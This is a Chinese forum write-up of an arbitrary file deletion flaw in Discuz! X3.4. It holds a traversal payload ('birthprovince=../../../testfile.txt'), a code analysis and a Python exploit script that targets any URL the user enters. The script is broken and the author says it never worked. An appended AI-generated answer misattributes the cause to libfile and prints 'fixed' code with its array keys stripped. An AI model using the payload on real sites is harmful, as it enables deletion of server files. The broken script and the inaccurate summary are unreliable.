Discuz! X3.4 R20191201及以下版本任意文件删除漏洞
1、简述漏洞原因：之前存在的任意文件删除漏洞修复不完全导致可以绕过。漏洞修复时间：2017年9月29日官方对gitee上的代码进行了修复2、复现环境因为官方提供的下载是最新的源码，漏洞修复时间是17年9月29日，通过git找一个修复前的版本签出就可。git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be通过安装向导安装完后注册一个测试用户，同时在网站对应目录下创建用于删除的测试文件。3、漏洞复现登录账户。访问该网页：http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
发送POST请求：http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
POST
birthprovince=../../../testfile.txt&profilesubmit=1&formhash=e9d84225
formhash值为用户hash，可在源码中搜索formhash找到。
请求后表单中的出生地内容变为../../../testfile.txt
然后构造请求向home.php?mod=spacecp&ac=profile&op=base上传文件，可以修改表单提交达到目的。
提交后文件被删除。4、漏洞分析分析一下对该页面请求时的流程。在home.php的41行有一次对其他文件的请求：require_once libfile('home/'.$mod, 'module');
因为GET参数不满足上面代码的条件所以进入这部分。查看libfile函数的定义：function libfile($libname, $folder = '') {
$libpath = '/source/'.$folder;
if(strstr($libname, '/')) {
list($pre, $name) = explode('/', $libname);
$path = "{$libpath}/{$pre}/{$pre}_{$name}";
} else {
$path = "{$libpath}/{$libname}";
}
return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
}
可以看出该函数的功能就是构造文件路径。对于复现漏洞时请求页面的GET请求参数：mod=spacecp&ac=profile&op=base在如上参数的请求时，经过libfile函数处理过后返回的路径为:/source/module/home/home_spacecp.php跟进到/source/module/home/home_spacecp.php文件，在最后一行也引入了其他的文件,处理方式同上require_once libfile('spacecp/'.$ac, 'include');所以这里引入的文件为：/source/include/spacecp/spacecp_profile.php，转到该文件看看。在第70行，存在如下条件判断，这里也就是页面上的保存按钮点击后触发的相关处理代码：if(submitcheck('profilesubmit')) {
......
submitcheck函数是对profilesubmit的安全检查function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
if(!getgpc($var)) {
return FALSE;
} else {
return helper_form::submitcheck($var, $allowget, $seccodecheck, $secqaacheck);
}
}第187行开始是对文件上传的处理函数：if($_FILES) {
$upload = new discuz_upload();
foreach($_FILES as $key => $file) {
......第207行开始：if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach['target'])) {
@unlink($attach['target']);
continue;
}
$setarr[$key] = '';
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}文件上传成功，满足!$upload->error()，会执行到unlink语句：@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);这里的$key，在前面foreach($_FILES as $key => $file)中定义(189行)。$space在第23行定义，为用户个人资料。$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');会从数据库查询用户相关的信息保存到变量$space中。birthprovince就是其中之一。所以此时$space = $space = '../../../testfile.txt'也就解释了复现时修改出生日期为目的文件路径的操作。这样的话在这里就完成了文件删除的操作。PS：更改用户信息时通过提交表单事时抓包可以看到各参数名称，可以进行修改。5、Expexp改了半天也没有攻击成功，找了公开的exp也不成功，不知道是exp问题还是环境问题。import requests
import re
import os
def check_url(target_url):
parameter = target_url.split('/')
if parameter[-1] != "home.php":
print("[*] Please make sure the url end with 'home.php'")
exit()
def get_cookie(target_url):
cookie = input("[*] Please paste the cookie:").split(';')
cookies = {}
for i in range(0,len(cookie)):
name,value=cookie.strip().split('=',1)
cookies = value
loginurl = target_url + '?mod=spacecp'
text = requests.get(target_url,cookies=cookies).text
if '您需要先登录才能继续本操作' in text:
print("[*] Login error,please check cookies!")
else:
return cookies
def del_file(target_url,target_file,cookies):
loginurl = target_url + '?mod=spacecp'
text = requests.get(target_url,cookies=cookies).text
reformhash = 'formhash=.*?&'
patternformhash = re.compile(reformhash)
formhash = patternformhash.search(text).group()
print(formhash)
# set birthprovince
birthprovinceurl = target_url + '?mod=spacecp&ac=profile'
birthprovincedata ={
"birthprovince":target_file,
"profilesubmit":"1",
"formhash":formhash
}
requests.post(birthprovinceurl,cookies=cookies,data=birthprovincedata)
# upload a picture and delete the target file
basepath = os.path.abspath(os.path.dirname(__file__))
uploadurl = target_url + '?mod=spacecp&ac=profile&op=base'
files = {'birthprovince': ("pic.png",open(basepath+'/1.png', 'rb'))}
data = {
'formhash':formhash,
'profilesubmit':'1'
}
s=requests.post(uploadurl,cookies=cookies,data=data,files=files)
print(s.text)
print("[*] Deleting the file.")
def exp():
try:
target_url = input("[*] please input the target url(eg:http://xxxxx/home.php):")
check_url(target_url)
cookies,formhash = get_cookie(target_url)
target_file = input("[*] Please input the target file:")
del_file(target_url,target_file,cookies,formhash)
except KeyError as e:
print("This poc doesn't seem to work.")
if __name__ == "__main__":
exp()5、修复方法对比官方的代码变动，直接删除了几条unlink语句，简单暴力..
这个漏洞是Discuz! X3.4及以下版本中的一个安全漏洞，允许攻击者通过构造特定的请求来删除服务器上的任意文件。以下是漏洞的详细分析以及修复方法：
### 漏洞原因
漏洞的根本原因在于Discuz!在处理用户提交的个人资料信息时，未对用户输入的路径进行严格的校验和过滤。攻击者可以通过修改`birthprovince`参数，构造一个相对路径（如`../../../testfile.txt`），从而指向服务器上的任意文件。当用户提交表单时，Discuz!会尝试删除该文件。
### 漏洞复现
1. **环境搭建**：使用修复前的Discuz!版本（如`git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be`）搭建一个测试环境。
2. **创建测试文件**：在服务器上创建一个测试文件，如`testfile.txt`。
3. **构造请求**：登录一个测试账户，访问`home.php?mod=spacecp&ac=profile&op=base`页面，并通过POST请求提交修改后的`birthprovince`参数，指向测试文件。
4. **触发漏洞**：提交表单后，Discuz!会尝试删除指定的文件。
### 漏洞分析
1. **路径构造**：在`home.php`中，`libfile`函数会根据传入的参数构造文件路径。攻击者通过修改`birthprovince`参数，构造了一个相对路径，指向服务器上的任意文件。
2. **文件删除**：在`spacecp_profile.php`中，当用户提交表单时，程序会调用`unlink`函数删除指定的文件。由于`birthprovince`参数未经过严格校验，攻击者可以利用这一点删除任意文件。
### 修复方法
官方修复该漏洞的方式是直接删除了相关的`unlink`语句，避免了通过用户输入删除文件的风险。具体修复步骤如下：
1. **删除`unlink`语句**：在`spacecp_profile.php`中，删除以下代码：
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo);
@unlink(getglobal('setting/attachdir').'./profile/'.$space);
这些代码原本用于删除用户上传的文件，但由于未对用户输入进行严格校验，导致漏洞产生。
2. **更新代码**：确保使用最新版本的Discuz!代码，或者手动应用官方的修复补丁。
### 修复后的代码示例
修复后的`spacecp_profile.php`文件中，删除了不必要的`unlink`语句，确保不会通过用户输入删除文件：
if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach)) {
continue;
}
$setarr = '';
$attach = dhtmlspecialchars(trim($attach));
if($vid && $verifyconfig && isset($verifyconfig)) {
if(isset($verifyinfo)) {
$verifyarr = $attach;
}
continue;
}
if(isset($setarr) && $_G) {
$verifyarr = $attach;
continue;
}
$setarr = $attach;
}
### 总结
该漏洞的修复方法相对简单，主要是删除了不必要的`unlink`语句，避免了通过用户输入删除文件的风险。建议所有使用Discuz! X3.4及以下版本的用户尽快升级到最新版本，或者手动应用官方的修复补丁，以确保网站的安全性。
如果你在使用过程中遇到其他问题，欢迎随时在DZ插件网（https://www.dz-x.net/）寻求帮助，我们的技术团队会为你提供专业的支持。
-- 本回答由 人工智能 AI智能体 生成，内容仅供参考，请仔细甄别。
页:
[1]